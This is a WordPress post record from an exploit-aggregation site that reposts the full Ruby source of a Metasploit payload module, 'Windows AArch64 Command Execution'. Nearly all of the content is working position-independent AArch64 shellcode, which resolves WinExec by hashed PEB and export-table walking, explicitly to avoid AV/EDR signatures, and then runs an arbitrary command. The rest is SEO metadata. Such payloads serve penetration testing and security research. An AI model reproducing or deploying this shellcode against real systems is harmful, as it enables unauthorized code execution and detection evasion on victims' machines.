{"id":15027,"date":"2025-08-29T12:46:25","date_gmt":"2025-08-29T12:46:25","guid":{"rendered":"http:\/\/localhost\/?p=15027"},"modified":"2025-08-29T12:46:25","modified_gmt":"2025-08-29T12:46:25","slug":"windows-aarch64-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15027","title":{"rendered":"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T17:07:41&#8243;,&#8221;description&#8221;:&#8221;Executes an arbitrary command on a Windows on ARM (AArch64) target.           This payload is a foundational example of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:54:18&#8243;,&#8221;modified&#8221;:&#8221;2025-07-11T18:50:39&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows AArch64 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nmodule MetasploitModule\\n  # This size is an approximation. The final size depends on the CMD string.\\n  CachedSize = 352\\n\\n  include Msf::Payload::Windows\\n  include Msf::Payload::Single\\n\\n  def initialize(info = {})\\n    super(\\n      merge_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Windows AArch64 Command Execution&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          Executes an arbitrary command on a Windows on ARM (AArch64) target.\\n          This payload is a foundational example of position-independent shellcode for the AArch64 architecture.\\n          It dynamically resolves the address of the `WinExec` function from `kernel32.dll` by parsing the\\n          Process Environment Block (PEB) and the module&#8217;s Export Address Table (EAT) at runtime.\\n          This technique avoids static imports and hardcoded function addresses, increasing resilience.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;alanfoster&#8217;, # Original implementation and research\\n          &#8216;Alexander \\&#8221;xaitax\\&#8221; Hagenah&#8217; # Refactoring, Improvements and Optimization\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n        &#8216;Arch&#8217; =\\u003e ARCH_AARCH64,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;CMD&#8217;, [true, &#8216;The command string to execute&#8217;, &#8216;calc.exe&#8217;])\\n      ]\\n    )\\n  end\\n\\n  def generate(_opts = {})\\n    # The following AArch64 assembly implements the payload&#8217;s core logic.\\n    # It is based on the alanfosters original implementation.\\n    cmd_str = datastore[&#8216;CMD&#8217;] || &#8216;calc.exe&#8217;\\n    asm = \\u003c\\u003c~EOF\\n      \/\/ AArch64 Windows PIC Shellcode\\n      \/\/ &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n      \/\/ Key Registers:\\n      \/\/ x0-x7: Arguments to functions and return values.\\n      \/\/ x18:   Pointer to the Thread Environment Block (TEB) in user mode.\\n      \/\/ x29:   Frame Pointer (FP).\\n      \/\/ x30:   Link Register (LR), holds the return address for function calls.\\n\\n      main:\\n          \/\/ &#8212; Function Prologue &#8212;\\n          \/\/ Establishes a stack frame according to the AArch64 ABI.\\n          \/\/ Allocate 0xb0 (176) bytes on the stack for local variables, saved registers, and scratch space.\\n          \/\/ Then store the caller&#8217;s frame pointer (x29) and link register (x30) at the new stack top.\\n          stp     x29, x30, [sp, #-0xb0]!\\n          \/\/ Set our new frame pointer to the current stack pointer.\\n          mov     x29, sp\\n          \/\/ Save non-volatile registers (x19-x21) that we will modify.\\n          stp     x19, x20, [x29, #0x10]\\n          str     x21, [x29, #0x20]\\n\\n          \/\/ &#8212; API Hash Setup &#8212;\\n          \/\/ Load the pre-calculated hash for kernel32.dll!WinExec into register w8.\\n          \/\/ Hashing avoids using literal strings (\\&#8221;WinExec\\&#8221;) in the payload, which are\\n          \/\/ common signatures for AV\/EDR.\\n          movz w8, #0x8b31\\n          movk w8, #0x876f, lsl #16\\n\\n      api_call:\\n          \/\/ &#8212; PEB Traversal &#8212;\\n          \/\/ This section finds the base address of loaded modules (DLLs) in a\\n          \/\/ position-independent way by walking structures internal to the process.\\n          \/\/ x18 on Windows AArch64 always points to the Thread Environment Block (TEB).\\n          ldr x10, [x18, #0x60]      \/\/ x10 = TEB-\\u003eProcessEnvironmentBlock (PEB)\\n          ldr x10, [x10, #0x18]      \/\/ x10 = PEB-\\u003eLdr\\n          ldr x10, [x10, #0x20]      \/\/ x10 = PEB-\\u003eLdr.InMemoryOrderModuleList.Flink (points to first module entry)\\n\\n      next_mod:\\n          \/\/ &#8212; Module Name Hashing &#8212;\\n          \/\/ For each module, calculate a hash of its name to find kernel32.dll.\\n          ldr x11, [x10, #0x50]      \/\/ x11 = LDR_DATA_TABLE_ENTRY-\\u003eFullDllName.Buffer pointer\\n          ldr x12, [x10, #0x4a]      \/\/ x12 = LDR_DATA_TABLE_ENTRY-\\u003eFullDllName.Length (USHORT)\\n          and x12, x12, #0xffff      \/\/ Ensure we only have the 16-bit length\\n          movz w13, #0               \/\/ w13 = module hash accumulator, zero it out.\\n      loop_modname:\\n          \/\/ This hashing loop reads one byte at a time from the UTF-16 DLL name.\\n          \/\/ It only uses the ASCII part for hashing and handles case-insensitivity.\\n          ldrb w14, [x11], #1        \/\/ Read a byte and post-increment the pointer\\n          cmp w14, #97               \/\/ Compare with ASCII &#8216;a&#8217;\\n          b.lt not_lowercase\\n          sub w14, w14, #0x20        \/\/ If lowercase, convert to uppercase\\n      not_lowercase:\\n          ror w13, w13, #13          \/\/ Rotate the hash accumulator right by 13 bits\\n          add w13, w13, w14          \/\/ Add the character&#8217;s byte value to the hash\\n          sub w12, w12, #1           \/\/ Decrement length counter\\n          cmp w12, wzr\\n          b.gt loop_modname\\n          \/\/ These extra rotates are preserved from the original implementation to match the target hash.\\n          ror w13, w13, #13\\n          ror w13, w13, #13\\n\\n          \/\/ Save the current module&#8217;s context (its LDR_DATA_TABLE_ENTRY pointer and its computed hash)\\n          \/\/ to our stack frame before we start parsing its export table.\\n          str x10, [x29, #0x30]\\n          str w13, [x29, #0x38]\\n\\n          \/\/ &#8212; PE Export Table Traversal &#8212;\\n          ldr x10, [x10, #0x20]      \/\/ x10 = DllBase (the module&#8217;s base memory address)\\n          ldr w11, [x10, #0x3c]      \/\/ Get e_lfanew offset from the DOS header\\n          add x11, x10, x11          \/\/ x11 = Address of the main PE (NT) Header\\n\\n          \/\/ &#8212; PE64 Magic Number Check &#8212;\\n          \/\/ This check is a critical robustness feature. It ensures we only attempt to parse\\n          \/\/ 64-bit PE modules, avoiding crashes if a 32-bit (WoW64) module is encountered.\\n          \/\/ The PE32+ Magic (0x020B) is at Optional Header +0x18.\\n          ldrh w14, [x11, #0x18]     \/\/ Load the Magic number from the Optional Header\\n          cmp w14, #0x020b           \/\/ Compare with the PE32+ magic value for 64-bit\\n          b.ne get_next_mod_loop     \/\/ If it&#8217;s not a 64-bit module, skip it.\\n\\n          ldr w11, [x11, #0x88]      \/\/ Get Export Address Table (EAT) RVA from Optional Header\\n          cmp x11, #0\\n          b.eq get_next_mod_loop     \/\/ If there&#8217;s no EAT, skip this module.\\n          add x11, x11, x10          \/\/ x11 = EAT Virtual Address\\n          str x11, [x29, #0x40]      \/\/ Save EAT address to the stack\\n          ldr w12, [x11, #0x18]      \/\/ w12 = EAT.NumberOfNames\\n          ldr w13, [x11, #0x20]      \/\/ w13 = EAT.AddressOfNames RVA\\n          add x13, x10, x13          \/\/ w13 = EAT.AddressOfNames Virtual Address\\n\\n      get_next_func:\\n          \/\/ &#8212; Function Name Hashing &#8212;\\n          \/\/ Loop through all function names in the EAT.\\n          cmp w12, #0\\n          b.eq get_next_mod_loop     \/\/ If all function names checked, move to the next module.\\n          sub w12, w12, #1           \/\/ Decrement function counter (we search backwards)\\n          mov x14, #4\\n          madd x15, x12, x14, x13    \/\/ Calculate address of the current function name&#8217;s RVA in the name array\\n          ldr w15, [x15]             \/\/ Get the RVA of the function name string\\n          add x15, x10, x15          \/\/ x15 = VA of the function name string\\n          movz x5, #0                \/\/ w5 = function hash accumulator, zero it out.\\n      loop_funcname:\\n          ldrb w11, [x15], #1        \/\/ Load one byte of the ASCII function name\\n          ror w5, w5, #13\\n          add w5, w5, w11\\n          cmp x11, #0\\n          b.ne loop_funcname         \/\/ Loop until the null terminator is hit.\\n      funcname_hashed:\\n          ldr w6, [x29, #0x38]       \/\/ Retrieve the saved module hash from our stack frame\\n          add w6, w6, w5             \/\/ Combined hash = module_hash + function_hash\\n          cmp w6, w8                 \/\/ Does this match our target hash (kernel32.dll!WinExec)?\\n          b.ne get_next_func         \/\/ If not, hash the next function name.\\n\\n      \/\/ &#8212; Function Address Resolution &#8212;\\n      \/\/ We found the correct function name. Now, we find its actual address.\\n      found_func:\\n          ldr x11, [x29, #0x40]      \/\/ Restore EAT address from stack\\n          ldr w13, [x11, #0x24]      \/\/ Get EAT.AddressOfNameOrdinals RVA\\n          add x13, x10, x13          \/\/ VA of the ordinal table\\n          mov x14, #2\\n          madd x15, x12, x14, x13    \/\/ Get address of our function&#8217;s ordinal\\n          ldrh w15, [x15]            \/\/ Get the 16-bit ordinal value\\n          ldr w13, [x11, #0x1c]      \/\/ Get EAT.AddressOfFunctions RVA\\n          add x13, x10, x13          \/\/ VA of the function address table\\n          mov x14, #4\\n          madd x15, x15, x14, x13    \/\/ Get address of the function&#8217;s RVA from the address table using the ordinal\\n          ldr w15, [x15]             \/\/ Get the function&#8217;s RVA\\n          add x15, x15, x10          \/\/ x15 = Final Virtual Address of WinExec\\n\\n      finish:\\n          \/\/ &#8212; Call WinExec &#8212;\\n          \/\/ Set up x9 to point to a scratch buffer on our stack.\\n          add x9, x29, #0x50\\n          \/\/ create_aarch64_string_in_stack will write the command string to the\\n          \/\/ address in x9 and place the final pointer to the string in x0.\\n          #{create_aarch64_string_in_stack(cmd_str)}\\n          mov w1, #1                 \/\/ Arg2 (uCmdShow) = SW_SHOWNORMAL (1) &#8211; Makes the new window visible.\\n          mov x8, x15                \/\/ Move target function address into a volatile register for the call.\\n          blr x8                     \/\/ Branch with Link to Register (call WinExec).\\n\\n      \/\/ &#8212; Function Epilogue &#8212;\\n      \/\/ Cleanly tears down the stack frame and returns execution to the caller.\\n      epilogue:\\n          \/\/ Restore saved non-volatile registers from the stack frame.\\n          ldp     x19, x20, [x29, #0x10]\\n          ldr     x21, [x29, #0x20]\\n          \/\/ Restore the original stack pointer.\\n          mov     sp, x29\\n          \/\/ Restore the caller&#8217;s frame pointer and link register, deallocating our stack frame in one instruction.\\n          ldp     x29, x30, [sp], #0xb0\\n          ret                        \/\/ Return to the address stored in the Link Register.\\n\\n      \/\/ &#8212; Loop Control for Module Iteration &#8212;\\n      get_next_mod_loop:\\n          \/\/ Restore the LDR_DATA_TABLE_ENTRY pointer from the stack.\\n          ldr x10, [x29, #0x30]\\n          \/\/ The InMemoryOrderModuleList is a circular doubly-linked list.\\n          \/\/ Following the Flink pointer gets the next module in the list.\\n          ldr x10, [x10]\\n          \/\/ Jump back to begin processing this next module.\\n          b next_mod\\n    EOF\\n\\n    compile_aarch64(asm)\\n  end\\n\\n  # Generates AArch64 assembly to write a given string to the stack and return a pointer to it.\\n  # This is a classic shellcode technique to create strings in memory at runtime.\\n  # @param string [String] The string to be placed on the stack.\\n  # @return [String] A block of AArch64 assembly code.\\n  def create_aarch64_string_in_stack(string)\\n    str = string + \\&#8221;\\\\x00\\&#8221;\\n    target = :x0 # The pointer to the string will be returned in x0 (first argument register).\\n    stack = :x9  # x9 is used as a temporary pointer to write the string to the stack.\\n\\n    # Build the string 8 bytes at a time.\\n    push_string = str.bytes.each_slice(8).flat_map do |chunk|\\n      # Load the 8-byte chunk into the target register using a sequence of movz\/movk.\\n      mov_instructions = chunk.each_slice(2).with_index.map do |word, idx|\\n        # NOTE: Chunks are reversed to build the little-endian value correctly in the register.\\n        hex = word.reverse.map { |b| format(&#8216;%02x&#8217;, b) }.join\\n        \\&#8221;mov#{idx == 0 ? &#8216;z&#8217; : &#8216;k&#8217;} #{target}, #0x#{hex}#{idx == 0 ? &#8221; : \\&#8221;, lsl ##{idx * 16}\\&#8221;}\\&#8221;\\n      end\\n      # Store the 8-byte value from the register onto the stack and advance the stack pointer.\\n      [*mov_instructions, \\&#8221;str #{target}, [#{stack}], #8\\&#8221;]\\n    end\\n\\n    # After writing, `stack` points just past the end of the string.\\n    # We subtract the aligned size to get the pointer to the beginning of the string.\\n    set_target_register = [\\n      \\&#8221;mov #{target}, #{stack}\\&#8221;,\\n      \\&#8221;sub #{target}, #{target}, ##{align(str.bytesize)}\\&#8221;\\n    ]\\n    (push_string + set_target_register).join(\\&#8221;\\\\n\\&#8221;)\\n  end\\n\\n  # Aligns a given value to a specified boundary (defaults to 8 bytes).\\n  # @param value [Integer] The value to align.\\n  # @param alignment [Integer] The alignment boundary.\\n  # @return [Integer] The aligned value.\\n  def align(value, alignment: 8)\\n    return value if (value % alignment).zero?\\n\\n    value + (alignment &#8211; (value % alignment))\\n  end\\n\\n  # Compiles a string of AArch64 assembly into raw binary shellcode.\\n  # @param asm_string [String] The assembly code.\\n  # @return [String] The compiled binary shellcode.\\n  def compile_aarch64(asm_string)\\n    # This requires the &#8216;aarch64&#8217; gem.\\n    require &#8216;aarch64\/parser&#8217;\\n    parser = ::AArch64::Parser.new\\n    asm = parser.parse(without_inline_comments(asm_string))\\n    asm.to_binary\\n  end\\n\\n  # Removes all inline comments from an assembly string, as the aarch64\\n  # gem parser does not support them.\\n  # @param string [String] The assembly code with comments.\\n  # @return [String] The assembly code without comments.\\n  def without_inline_comments(string)\\n    string.lines.map { |line| line.split(&#8216;\/\/&#8217;, 2).first.strip }.reject(\\u0026:empty?).join(\\&#8221;\\\\n\\&#8221;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/payloads\/singles\/windows\/aarch64\/exec.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/payload\/windows\/aarch64\/exec\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T17:07:41&#8243;,&#8221;description&#8221;:&#8221;Executes an arbitrary command on a Windows on ARM (AArch64) target. This payload is a foundational example of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:54:18&#8243;,&#8221;modified&#8221;:&#8221;2025-07-11T18:50:39&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows AArch64 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-15027","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15027\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T17:07:41&#8243;,&#8221;description&#8221;:&#8221;Executes an arbitrary command on a Windows on ARM (AArch64) target. This payload is a foundational example of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:54:18&#8243;,&#8221;modified&#8221;:&#8221;2025-07-11T18:50:39&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows AArch64 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15027\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T12:46:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-\",\"datePublished\":\"2025-08-29T12:46:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027\"},\"wordCount\":2172,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15027#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027\",\"name\":\"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T12:46:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15027\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15027#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15027","og_locale":"en_US","og_type":"article","og_title":"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T17:07:41&#8243;,&#8221;description&#8221;:&#8221;Executes an arbitrary command on a Windows on ARM (AArch64) target. This payload is a foundational example of&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:54:18&#8243;,&#8221;modified&#8221;:&#8221;2025-07-11T18:50:39&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows AArch64 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit:...","og_url":"https:\/\/zero.redgem.net\/?p=15027","og_site_name":"zero redgem","article_published_time":"2025-08-29T12:46:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15027#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15027"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-","datePublished":"2025-08-29T12:46:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15027"},"wordCount":2172,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15027#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15027","url":"https:\/\/zero.redgem.net\/?p=15027","name":"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T12:46:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15027#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15027"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15027#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Windows AArch64 Command Execution_MSF:PAYLOAD-WINDOWS-AARCH64-EXEC-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 